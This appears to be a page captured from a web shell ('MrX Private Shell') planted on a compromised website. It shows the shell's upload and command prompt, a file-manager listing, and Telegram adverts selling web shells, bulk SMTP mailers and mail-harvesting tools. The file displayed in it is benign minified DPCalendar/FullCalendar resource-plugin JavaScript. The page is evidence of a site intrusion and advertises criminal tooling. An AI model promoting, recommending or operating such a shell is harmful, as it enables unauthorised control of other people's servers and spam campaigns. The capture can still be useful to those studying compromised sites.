__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @package   DPCalendar
 * @copyright Digital Peak GmbH. <https://www.digital-peak.com>
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU/GPL
 */
import{at as e,y as r,_ as t,av as s,W as n,h as o,aw as a,B as i,K as u,I as c,ax as l,ay as d,az as f,aA as p,aB as h,n as g,ae as R,ai as S,aC as E,aD as m,aE as C,aF as v,aG as b,aH as I,aI as y,aJ as x,aK as O,aL as D,aM as j,aN as _,aO as P,aP as w,aQ as T,aR as A,aS as U,q as B,aT as N,aU as k}from"../../../modules/calendar/factory.min.js?43859213";const F=["GPL-My-Project-Is-Open-Source","CC-Attribution-NonCommercial-NoDerivatives"],L={position:"absolute",zIndex:99999,bottom:"1px",left:"1px",background:"#eee",borderColor:"#ddd",borderStyle:"solid",borderWidth:"1px 1px 0 0",padding:"2px 4px",fontSize:"12px",borderTopRightRadius:"3px"};var M=e({name:"@fullcalendar/premium-common",premiumReleaseDate:"2024-07-12",optionRefiners:{schedulerLicenseKey:String},viewContainerAppends:[function(e){let a=e.options.schedulerLicenseKey,i="undefined"!=typeof window?window.location.href:"";if(!/\w+:\/\/fullcalendar\.io\/|\/examples\/[\w-]+\.html$/.test(i)){let i=function(e,r){if(-1!==F.indexOf(e))return"valid";const t=(e||"").match(/^(\d+)-fcs-(\d+)$/);if(t&&10===t[1].length){const e=new Date(1e3*parseInt(t[2],10)),a=o.mockSchedulerReleaseDate||r;if(s(a)){return n(a,-372)<e?"valid":"outdated"}}return"invalid"}(a,e.pluginHooks.premiumReleaseDate);if("valid"!==i)return r("div",{className:"fc-license-message",style:L},"outdated"===i?r(t,null,"Your license key is too old to work with this version. ",r("a",{href:"https://fullcalendar.io/docs/schedulerLicenseKey#outdated"},"More Info")):r(t,null,"Your license key is invalid. ",r("a",{href:"https://fullcalendar.io/docs/schedulerLicenseKey#invalid"},"More Info")))}return null}]});const H="_fc:",G={id:String,parentId:String,children:b,title:String,businessHours:b,extendedProps:b,eventEditable:Boolean,eventStartEditable:Boolean,eventDurationEditable:Boolean,eventConstraint:b,eventOverlap:Boolean,eventAllow:b,eventClassNames:v,eventBackgroundColor:String,eventBorderColor:String,eventTextColor:String,eventColor:String};function V(e,r="",t,s){let{refined:n,extra:o}=C(e,G),a={id:n.id||H+x(),parentId:n.parentId||r,title:n.title||"",businessHours:n.businessHours?y(n.businessHours,s):null,ui:I({editable:n.eventEditable,startEditable:n.eventStartEditable,durationEditable:n.eventDurationEditable,constraint:n.eventConstraint,overlap:n.eventOverlap,allow:n.eventAllow,classNames:n.eventClassNames,backgroundColor:n.eventBackgroundColor,borderColor:n.eventBorderColor,textColor:n.eventTextColor,color:n.eventColor},s),extendedProps:Object.assign(Object.assign({},o),n.extendedProps)};if(Object.freeze(a.ui.classNames),Object.freeze(a.extendedProps),t[a.id]);else if(t[a.id]=a,n.children)for(let e of n.children)V(e,a.id,t,s);return a}function K(e){return 0===e.indexOf(H)?"":e}class W{constructor(e,r){this._context=e,this._resource=r}setProp(e,r){let t=this._resource;this._context.dispatch({type:"SET_RESOURCE_PROP",resourceId:t.id,propName:e,propValue:r}),this.sync(t)}setExtendedProp(e,r){let t=this._resource;this._context.dispatch({type:"SET_RESOURCE_EXTENDED_PROP",resourceId:t.id,propName:e,propValue:r}),this.sync(t)}sync(e){let r=this._context,t=e.id;this._resource=r.getCurrentData().resourceStore[t],r.emitter.trigger("resourceChange",{oldResource:new W(r,e),resource:this,revert(){r.dispatch({type:"ADD_RESOURCE",resourceHash:{[t]:e}})}})}remove(){let e=this._context,r=this._resource,t=r.id;e.dispatch({type:"REMOVE_RESOURCE",resourceId:t}),e.emitter.trigger("resourceRemove",{resource:this,revert(){e.dispatch({type:"ADD_RESOURCE",resourceHash:{[t]:r}})}})}getParent(){let e=this._context,r=this._resource.parentId;return r?new W(e,e.getCurrentData().resourceStore[r]):null}getChildren(){let e=this._resource.id,r=this._context,{resourceStore:t}=r.getCurrentData(),s=[];for(let n in t)t[n].parentId===e&&s.push(new W(r,t[n]));return s}getEvents(){let e=this._resource.id,r=this._context,{defs:t,instances:s}=r.getCurrentData().eventStore,n=[];for(let o in s){let a=s[o],i=t[a.defId];-1!==i.resourceIds.indexOf(e)&&n.push(new h(r,i,a))}return n}get id(){return K(this._resource.id)}get title(){return this._resource.title}get eventConstraint(){return this._resource.ui.constraints[0]||null}get eventOverlap(){return this._resource.ui.overlap}get eventAllow(){return this._resource.ui.allows[0]||null}get eventBackgroundColor(){return this._resource.ui.backgroundColor}get eventBorderColor(){return this._resource.ui.borderColor}get eventTextColor(){return this._resource.ui.textColor}get eventClassNames(){return this._resource.ui.classNames}get extendedProps(){return this._resource.extendedProps}toPlainObject(e={}){let r=this._resource,{ui:t}=r,s=this.id,n={};return s&&(n.id=s),r.title&&(n.title=r.title),e.collapseEventColor&&t.backgroundColor&&t.backgroundColor===t.borderColor?n.eventColor=t.backgroundColor:(t.backgroundColor&&(n.eventBackgroundColor=t.backgroundColor),t.borderColor&&(n.eventBorderColor=t.borderColor)),t.textColor&&(n.eventTextColor=t.textColor),t.classNames.length&&(n.eventClassNames=t.classNames),Object.keys(r.extendedProps).length&&(e.collapseExtendedProps?Object.assign(n,r.extendedProps):n.extendedProps=r.extendedProps),n}toJSON(){return this.toPlainObject()}}class z extends f{getKeyInfo(e){return Object.assign({"":{}},e.resourceStore)}getKeysForDateSpan(e){return[e.resourceId||""]}getKeysForEventDef(e){let r=e.resourceIds;return r.length?r:[""]}}const Z=a("id,title");function X(e){return{resource:new W(e.context,e.resource)}}class Y extends i{constructor(){super(...arguments),this.refineRenderProps=R(q)}render(){const{props:e}=this;return r(m.Consumer,null,(t=>{let{options:s}=t,n=this.refineRenderProps({resource:e.resource,date:e.date,context:t});return r(S,Object.assign({},e,{elAttrs:Object.assign(Object.assign({},e.elAttrs),{"data-resource-id":e.resource.id,"data-date":e.date?E(e.date):void 0}),renderProps:n,generatorName:"resourceLabelContent",customGenerator:s.resourceLabelContent,defaultGenerator:$,classNameGenerator:s.resourceLabelClassNames,didMount:s.resourceLabelDidMount,willUnmount:s.resourceLabelWillUnmount}))}))}}function $(e){return e.resource.title||e.resource.id}function q(e){return{resource:new W(e.context,e.resource),date:e.date?e.context.dateEnv.toDate(e.date):null,view:e.context.viewApi}}class J extends i{render(){let{props:e}=this;return r(Y,{elTag:"th",elClasses:["fc-col-header-cell","fc-resource"],elAttrs:{role:"columnheader",colSpan:e.colSpan},resource:e.resource,date:e.date},(t=>r("div",{className:"fc-scrollgrid-sync-inner"},r(t,{elTag:"span",elClasses:["fc-col-header-cell-cushion",e.isSticky&&"fc-sticky"]}))))}}class Q extends i{constructor(){super(...arguments),this.buildDateFormat=u(ee)}render(){let{props:e,context:t}=this,s=this.buildDateFormat(t.options.dayHeaderFormat,e.datesRepDistinctDays,e.dates.length);return r(c,{unit:"day"},((r,n)=>1===e.dates.length?this.renderResourceRow(e.resources,e.dates[0]):t.options.datesAboveResources?this.renderDayAndResourceRows(e.dates,s,n,e.resources):this.renderResourceAndDayRows(e.resources,e.dates,s,n)))}renderResourceRow(e,t){let s=e.map((e=>r(J,{key:e.id,resource:e,colSpan:1,date:t})));return this.buildTr(s,"resources")}renderDayAndResourceRows(e,s,n,o){let a=[],i=[];for(let t of e){a.push(this.renderDateCell(t,s,n,o.length,null,!0));for(let e of o)i.push(r(J,{key:e.id+":"+t.toISOString(),resource:e,colSpan:1,date:t}))}return r(t,null,this.buildTr(a,"day"),this.buildTr(i,"resources"))}renderResourceAndDayRows(e,s,n,o){let a=[],i=[];for(let t of e){a.push(r(J,{key:t.id,resource:t,colSpan:s.length,isSticky:!0}));for(let e of s)i.push(this.renderDateCell(e,n,o,1,t))}return r(t,null,this.buildTr(a,"resources"),this.buildTr(i,"day"))}renderDateCell(e,t,s,n,o,a){let{props:i}=this,u=o?`:${o.id}`:"",c=o?{resource:new W(this.context,o)}:{},f=o?{"data-resource-id":o.id}:{};return i.datesRepDistinctDays?r(l,{key:e.toISOString()+u,date:e,dateProfile:i.dateProfile,todayRange:s,colCnt:i.dates.length*i.resources.length,dayHeaderFormat:t,colSpan:n,isSticky:a,extraRenderProps:c,extraDataAttrs:f}):r(d,{key:e.getUTCDay()+u,dow:e.getUTCDay(),dayHeaderFormat:t,colSpan:n,isSticky:a,extraRenderProps:c,extraDataAttrs:f})}buildTr(e,t){let{renderIntro:s}=this.props;return e.length||(e=[r("td",{key:0}," ")]),r("tr",{key:t,role:"row"},s&&s(t),e)}}function ee(e,r,t){return e||p(r,t)}class re{constructor(e){let r={},t=[];for(let s=0;s<e.length;s+=1){let n=e[s].id;t.push(n),r[n]=s}this.ids=t,this.indicesById=r,this.length=e.length}}class te{constructor(e,r,t){this.dayTableModel=e,this.resources=r,this.context=t,this.resourceIndex=new re(r),this.rowCnt=e.rowCnt,this.colCnt=e.colCnt*r.length,this.cells=this.buildCells()}buildCells(){let{rowCnt:e,dayTableModel:r,resources:t}=this,s=[];for(let n=0;n<e;n+=1){let e=[];for(let s=0;s<r.colCnt;s+=1)for(let o=0;o<t.length;o+=1){let a=t[o],i={resource:new W(this.context,a)},u={"data-resource-id":a.id},c=["fc-resource"],l={resourceId:a.id},d=r.cells[n][s].date;e[this.computeCol(s,o)]={key:a.id+":"+d.toISOString(),date:d,extraRenderProps:i,extraDataAttrs:u,extraClassNames:c,extraDateSpan:l}}s.push(e)}return s}}class se extends te{computeCol(e,r){return r*this.dayTableModel.colCnt+e}computeColRanges(e,r,t){return[{firstCol:this.computeCol(e,t),lastCol:this.computeCol(r,t),isStart:!0,isEnd:!0}]}}class ne extends te{computeCol(e,r){return e*this.resources.length+r}computeColRanges(e,r,t){let s=[];for(let n=e;n<=r;n+=1){let o=this.computeCol(n,t);s.push({firstCol:o,lastCol:o,isStart:n===e,isEnd:n===r})}return s}}const oe=[];class ae{constructor(){this.joinDateSelection=u(this.joinSegs),this.joinBusinessHours=u(this.joinSegs),this.joinFgEvents=u(this.joinSegs),this.joinBgEvents=u(this.joinSegs),this.joinEventDrags=u(this.joinInteractions),this.joinEventResizes=u(this.joinInteractions)}joinProps(e,r){let t=[],s=[],n=[],o=[],a=[],i=[],u="",c=r.resourceIndex.ids.concat([""]);for(let r of c){let c=e[r];t.push(c.dateSelectionSegs),s.push(r?c.businessHourSegs:oe),n.push(r?c.fgEventSegs:oe),o.push(c.bgEventSegs),a.push(c.eventDrag),i.push(c.eventResize),u=u||c.eventSelection}return{dateSelectionSegs:this.joinDateSelection(r,...t),businessHourSegs:this.joinBusinessHours(r,...s),fgEventSegs:this.joinFgEvents(r,...n),bgEventSegs:this.joinBgEvents(r,...o),eventDrag:this.joinEventDrags(r,...a),eventResize:this.joinEventResizes(r,...i),eventSelection:u}}joinSegs(e,...r){let t=e.resources.length,s=[];for(let n=0;n<t;n+=1){for(let t of r[n])s.push(...this.transformSeg(t,e,n));for(let o of r[t])s.push(...this.transformSeg(o,e,n))}return s}expandSegs(e,r){let t=e.resources.length,s=[];for(let n=0;n<t;n+=1)for(let t of r)s.push(...this.transformSeg(t,e,n));return s}joinInteractions(e,...r){let t=e.resources.length,s={},n=[],o=!1,a=!1;for(let i=0;i<t;i+=1){let u=r[i];if(u){o=!0;for(let r of u.segs)n.push(...this.transformSeg(r,e,i));Object.assign(s,u.affectedInstances),a=a||u.isEvent}if(r[t])for(let s of r[t].segs)n.push(...this.transformSeg(s,e,i))}return o?{affectedInstances:s,segs:n,isEvent:a}:null}}class ie extends f{getKeyInfo(e){let{resourceDayTableModel:r}=e,t=g(r.resourceIndex.indicesById,(e=>r.resources[e]));return t[""]={},t}getKeysForDateSpan(e){return[e.resourceId||""]}getKeysForEventDef(e){let r=e.resourceIds;return r.length?r:[""]}}function ue(e,r){return ce(e,[],r,!1,{},!0).map((e=>e.resource))}function ce(e,r,t,s,n,o){let a=function(e,r,t,s){let n=function(e,r){let t={};for(let r in e){let s=e[r];t[r]={resource:s,resourceFields:pe(s),children:[]}}for(let s in e){let n=e[s];if(n.parentId){let e=t[n.parentId];e&&fe(t[s],e.children,r)}}return t}(e,s),o=[];for(let e in n){let a=n[e];a.resource.parentId||de(a,o,t,0,r,s)}return o}(e,s?-1:1,r,t),i=[];return le(a,i,s,[],0,n,o),i}function le(e,r,t,s,n,o,a){for(let i=0;i<e.length;i+=1){let u=e[i],c=u.group;if(c)if(t){let e=r.length,i=s.length;if(le(u.children,r,t,s.concat(0),n,o,a),e<r.length){let t=r[e];(t.rowSpans=t.rowSpans.slice())[i]=r.length-e}}else{let e=c.spec.field+":"+c.value,i=null!=o[e]?o[e]:a;r.push({id:e,group:c,isExpanded:i}),i&&le(u.children,r,t,s,n+1,o,a)}else if(u.resource){let e=u.resource.id,i=null!=o[e]?o[e]:a;r.push({id:e,rowSpans:s,depth:n,isExpanded:i,hasChildren:Boolean(u.children.length),resource:u.resource,resourceFields:u.resourceFields}),i&&le(u.children,r,t,s,n+1,o,a)}}}function de(e,r,t,s,n,o){if(t.length&&(-1===n||s<=n)){let a=function(e,r,t){let s,n,o=e.resourceFields[t.field];if(t.order)for(n=0;n<r.length;n+=1){let e=r[n];if(e.group){let r=D(o,e.group.value)*t.order;if(0===r){s=e;break}if(r<0)break}}else for(n=0;n<r.length;n+=1){let e=r[n];if(e.group&&o===e.group.value){s=e;break}}s||(s={group:{value:o,spec:t},children:[]},r.splice(n,0,s));return s}(e,r,t[0]);de(e,a.children,t.slice(1),s+1,n,o)}else fe(e,r,o)}function fe(e,r,t){let s;for(s=0;s<r.length;s+=1){if(O(r[s].resourceFields,e.resourceFields,t)>0)break}r.splice(s,0,e)}function pe(e){let r=Object.assign(Object.assign(Object.assign({},e.extendedProps),e.ui),e);return delete r.ui,delete r.extendedProps,r}function he(e,r){return e.spec===r.spec&&e.value===r.value}function ge(e,r){let{resourceEditable:t}=e;if(null==t){let s=e.sourceId&&r.getCurrentData().eventSources[e.sourceId];s&&(t=s.extendedProps.resourceEditable),null==t&&(t=r.options.eventResourceEditable,null==t&&(t=r.options.editable))}return t}function Re(e,r,t,s){if(r){let r=function(e,r){return P(e,(e=>w(e.range,r)))}(t.instances,s),n=function(e,r){let t={};for(let s in e){let n=e[s];for(let e of r[n.defId].resourceIds)t[e]=!0}return t}(r,t.defs);return Object.assign(n,function(e,r){let t={};for(let s in e){let e;for(;(e=r[s])&&(s=e.parentId,s);)t[s]=!0}return t}(n,e)),P(e,((e,r)=>n[r]))}return e}function Se(e){return g(e,(e=>e.ui))}function Ee(e,r,t){return g(e,((e,s)=>s?function(e,r,t){let s=[];for(let e of r.resourceIds)t[e]&&s.unshift(t[e]);return s.unshift(e),T(s)}(e,r[s],t):e))}let me=[];function Ce(e){me.push(e)}function ve(e){return me[e]}function be(){return me}const Ie={id:String,resources:b,url:String,method:String,startParam:String,endParam:String,timeZoneParam:String,extraParams:b};function ye(e){let r;if("string"==typeof e?r={url:e}:"function"==typeof e||Array.isArray(e)?r={resources:e}:"object"==typeof e&&e&&(r=e),r){let{refined:t,extra:s}=C(r,Ie);!function(e){for(let r in e);}(s);let n=function(e){let r=be();for(let t=r.length-1;t>=0;t-=1){let s=r[t].parseMeta(e);if(s)return{meta:s,sourceDefId:t}}return null}(t);if(n)return{_raw:e,sourceId:x(),sourceDefId:n.sourceDefId,meta:n.meta,publicId:t.id||"",isFetching:!1,latestFetchId:"",fetchRange:null}}return null}function xe(e,r,t){let{options:s,dateProfile:n}=t;if(!e||!r)return Oe(s.initialResources||s.resources,n.activeRange,s.refetchResourcesOnNavigate,t);switch(r.type){case"RESET_RESOURCE_SOURCE":return Oe(r.resourceSourceInput,n.activeRange,s.refetchResourcesOnNavigate,t);case"PREV":case"NEXT":case"CHANGE_DATE":case"CHANGE_VIEW_TYPE":return function(e,r,t,s){if(t&&!function(e){return Boolean(ve(e.sourceDefId).ignoreRange)}(e)&&(!e.fetchRange||!A(e.fetchRange,r)))return De(e,r,s);return e}(e,n.activeRange,s.refetchResourcesOnNavigate,t);case"RECEIVE_RESOURCES":case"RECEIVE_RESOURCE_ERROR":return function(e,r,t){if(r===e.latestFetchId)return Object.assign(Object.assign({},e),{isFetching:!1,fetchRange:t});return e}(e,r.fetchId,r.fetchRange);case"REFETCH_RESOURCES":return De(e,n.activeRange,t);default:return e}}function Oe(e,r,t,s){if(e){let n=ye(e);return n=De(n,t?r:null,s),n}return null}function De(e,r,t){let s=ve(e.sourceDefId),n=x();return s.fetch({resourceSource:e,range:r,context:t},(e=>{t.dispatch({type:"RECEIVE_RESOURCES",fetchId:n,fetchRange:r,rawResources:e.rawResources})}),(e=>{t.dispatch({type:"RECEIVE_RESOURCE_ERROR",fetchId:n,fetchRange:r,error:e})})),Object.assign(Object.assign({},e),{isFetching:!0,latestFetchId:n})}function je(e,r,t,s){if(!e||!r)return{};switch(r.type){case"RECEIVE_RESOURCES":return function(e,r,t,s,n){if(s.latestFetchId===t){let e={};for(let t of r)V(t,"",e,n);return e}return e}(e,r.rawResources,r.fetchId,t,s);case"ADD_RESOURCE":return n=e,o=r.resourceHash,Object.assign(Object.assign({},n),o);case"REMOVE_RESOURCE":return function(e,r){let t=Object.assign({},e);delete t[r];for(let e in t)t[e].parentId===r&&(t[e]=Object.assign(Object.assign({},t[e]),{parentId:""}));return t}(e,r.resourceId);case"SET_RESOURCE_PROP":return function(e,r,t,s){let n=e[r];if(n)return Object.assign(Object.assign({},e),{[r]:Object.assign(Object.assign({},n),{[t]:s})});return e}(e,r.resourceId,r.propName,r.propValue);case"SET_RESOURCE_EXTENDED_PROP":return function(e,r,t,s){let n=e[r];if(n)return Object.assign(Object.assign({},e),{[r]:Object.assign(Object.assign({},n),{extendedProps:Object.assign(Object.assign({},n.extendedProps),{[t]:s})})});return e}(e,r.resourceId,r.propName,r.propValue);default:return e}var n,o}const _e={resourceId:String,resourceIds:b,resourceEditable:Boolean};function Pe(e,r){return Object.assign(Object.assign({},r),{constraints:we(e,r.constraints)})}function we(e,r){return r.map((r=>{let t=r.defs;if(t)for(let r in t){let s=t[r].resourceIds;if(s.length&&-1===s.indexOf(e))return!1}return r}))}U.prototype.addResource=function(e,r=!0){let t,s,n=this.getCurrentData();e instanceof W?(s=e._resource,t={[s.id]:s}):(t={},s=V(e,"",t,n)),this.dispatch({type:"ADD_RESOURCE",resourceHash:t}),r&&this.trigger("_scrollRequest",{resourceId:s.id});let o=new W(n,s);return n.emitter.trigger("resourceAdd",{resource:o,revert:()=>{this.dispatch({type:"REMOVE_RESOURCE",resourceId:s.id})}}),o},U.prototype.getResourceById=function(e){e=String(e);let r=this.getCurrentData();if(r.resourceStore){let t=r.resourceStore[e];if(t)return new W(r,t)}return null},U.prototype.getResources=function(){let e=this.getCurrentData(),{resourceStore:r}=e,t=[];if(r)for(let s in r)t.push(new W(e,r[s]));return t},U.prototype.getTopLevelResources=function(){let e=this.getCurrentData(),{resourceStore:r}=e,t=[];if(r)for(let s in r)r[s].parentId||t.push(new W(e,r[s]));return t},U.prototype.refetchResources=function(){this.dispatch({type:"REFETCH_RESOURCES"})};const Te={resources:function(e,r){r.getCurrentData().resourceSource._raw!==e&&r.dispatch({type:"RESET_RESOURCE_SOURCE",resourceSourceInput:e})}};const Ae={initialResources:b,resources:b,eventResourceEditable:Boolean,refetchResourcesOnNavigate:Boolean,resourceOrder:a,filterResourcesWithEvents:Boolean,resourceGroupField:String,resourceAreaWidth:b,resourceAreaColumns:b,resourcesInitiallyExpanded:Boolean,datesAboveResources:Boolean,needsResourceData:Boolean,resourceAreaHeaderClassNames:b,resourceAreaHeaderContent:b,resourceAreaHeaderDidMount:b,resourceAreaHeaderWillUnmount:b,resourceGroupLabelClassNames:b,resourceGroupLabelContent:b,resourceGroupLabelDidMount:b,resourceGroupLabelWillUnmount:b,resourceLabelClassNames:b,resourceLabelContent:b,resourceLabelDidMount:b,resourceLabelWillUnmount:b,resourceLaneClassNames:b,resourceLaneContent:b,resourceLaneDidMount:b,resourceLaneWillUnmount:b,resourceGroupLaneClassNames:b,resourceGroupLaneContent:b,resourceGroupLaneDidMount:b,resourceGroupLaneWillUnmount:b},Ue={resourcesSet:b,resourceAdd:b,resourceChange:b,resourceRemove:b};h.prototype.getResources=function(){let{calendarApi:e}=this._context;return this._def.resourceIds.map((r=>e.getResourceById(r)))},h.prototype.setResources=function(e){let r=[];for(let t of e){let e=null;"string"==typeof t?e=t:"number"==typeof t?e=String(t):t instanceof W&&(e=t.id),e&&r.push(e)}this.mutate({standardProps:{resourceIds:r}})},Ce({ignoreRange:!0,parseMeta:e=>Array.isArray(e.resources)?e.resources:null,fetch(e,r){r({rawResources:e.resourceSource.meta})}}),Ce({parseMeta:e=>"function"==typeof e.resources?e.resources:null,fetch(e,r,t){const s=e.context.dateEnv,n=e.resourceSource.meta,o=e.range?{start:s.toDate(e.range.start),end:s.toDate(e.range.end),startStr:s.formatIso(e.range.start),endStr:s.formatIso(e.range.end),timeZone:s.timeZone}:{};N(n.bind(null,o),(e=>r({rawResources:e})),t)}}),Ce({parseMeta:e=>e.url?{url:e.url,method:(e.method||"GET").toUpperCase(),extraParams:e.extraParams}:null,fetch(e,r,t){const s=e.resourceSource.meta,n=function(e,r,t){let s,n,o,a,{dateEnv:i,options:u}=t,c={};r&&(s=e.startParam,null==s&&(s=u.startParam),n=e.endParam,null==n&&(n=u.endParam),o=e.timeZoneParam,null==o&&(o=u.timeZoneParam),c[s]=i.formatIso(r.start),c[n]=i.formatIso(r.end),"local"!==i.timeZone&&(c[o]=i.timeZone));a="function"==typeof e.extraParams?e.extraParams():e.extraParams||{};return Object.assign(c,a),c}(s,e.range,e.context);k(s.method,s.url,n).then((([e,t])=>{r({rawResources:e,response:t})}),t)}});var Be=e({name:"@fullcalendar/resource",premiumReleaseDate:"2024-07-12",deps:[M],reducers:[function(e,r,t){let s=xe(e&&e.resourceSource,r,t),n=je(e&&e.resourceStore,r,s,t),o=function(e,r){return e&&r?"SET_RESOURCE_ENTITY_EXPANDED"===r.type?Object.assign(Object.assign({},e),{[r.id]:r.isExpanded}):e:{}}(e&&e.resourceEntityExpansions,r);return{resourceSource:s,resourceStore:n,resourceEntityExpansions:o}}],isLoadingFuncs:[e=>e.resourceSource&&e.resourceSource.isFetching],eventRefiners:_e,eventDefMemberAdders:[function(e){return{resourceIds:(r=e.resourceIds,(r||[]).map((e=>String(e)))).concat(e.resourceId?[e.resourceId]:[]),resourceEditable:e.resourceEditable};var r}],isDraggableTransformers:[function(e,r,t,s){if(!e){let e=s.getCurrentData();if(e.viewSpecs[e.currentViewType].optionDefaults.needsResourceData&&ge(r,s))return!0}return e}],eventDragMutationMassagers:[function(e,r,t){let s=r.dateSpan.resourceId,n=t.dateSpan.resourceId;s&&n&&s!==n&&(e.resourceMutation={matchResourceId:s,setResourceId:n})}],eventDefMutationAppliers:[function(e,r,t){let s=r.resourceMutation;if(s&&ge(e,t)){let r=e.resourceIds.indexOf(s.matchResourceId);if(-1!==r){let t=e.resourceIds.slice();t.splice(r,1),-1===t.indexOf(s.setResourceId)&&t.push(s.setResourceId),e.resourceIds=t}}}],dateSelectionTransformers:[function(e,r){let t=e.dateSpan.resourceId,s=r.dateSpan.resourceId;return t&&s?{resourceId:t}:null}],datePointTransforms:[function(e,r){return e.resourceId?{resource:r.calendarApi.getResourceById(e.resourceId)}:{}}],dateSpanTransforms:[function(e,r){return e.resourceId?{resource:r.calendarApi.getResourceById(e.resourceId)}:{}}],viewPropsTransformers:[class{constructor(){this.filterResources=u(Re)}transform(e,r){return r.viewSpec.optionDefaults.needsResourceData?{resourceStore:this.filterResources(r.resourceStore,r.options.filterResourcesWithEvents,r.eventStore,r.dateProfile.activeRange),resourceEntityExpansions:r.resourceEntityExpansions}:null}},class{constructor(){this.buildResourceEventUis=u(Se,B),this.injectResourceEventUis=u(Ee)}transform(e,r){return r.viewSpec.optionDefaults.needsResourceData?null:{eventUiBases:this.injectResourceEventUis(e.eventUiBases,e.eventStore.defs,this.buildResourceEventUis(r.resourceStore))}}}],isPropsValid:function(e,r){let t=(new z).splitProps(Object.assign(Object.assign({},e),{resourceStore:r.getCurrentData().resourceStore}));for(let e in t){let s=t[e];if(e&&t[""]&&(s=Object.assign(Object.assign({},s),{eventStore:j(t[""].eventStore,s.eventStore),eventUiBases:Object.assign(Object.assign({},t[""].eventUiBases),s.eventUiBases)})),!_(s,r,{resourceId:e},Pe.bind(null,e)))return!1}return!0},externalDefTransforms:[function(e){return e.resourceId?{resourceId:e.resourceId}:{}}],eventDropTransformers:[function(e,r){let{resourceMutation:t}=e;if(t){let{calendarApi:e}=r;return{oldResource:e.getResourceById(t.matchResourceId),newResource:e.getResourceById(t.setResourceId)}}return{oldResource:null,newResource:null}}],optionChangeHandlers:Te,optionRefiners:Ae,listenerRefiners:Ue,propSetHandlers:{resourceStore:function(e,r){let{emitter:t}=r;t.hasHandlers("resourcesSet")&&t.trigger("resourcesSet",function(e,r){let t=[];for(let s in e)t.push(new W(r,e[s]));return t}(e,r))}}});export{Z as D,z as R,ie as V,pe as a,ce as b,W as c,he as d,Be as e,ae as f,K as g,Q as h,M as i,ue as j,ne as k,se as l,X as r};

Filemanager

Name Type Size Permission Actions
index.min.js File 23.46 KB 0664
Filemanager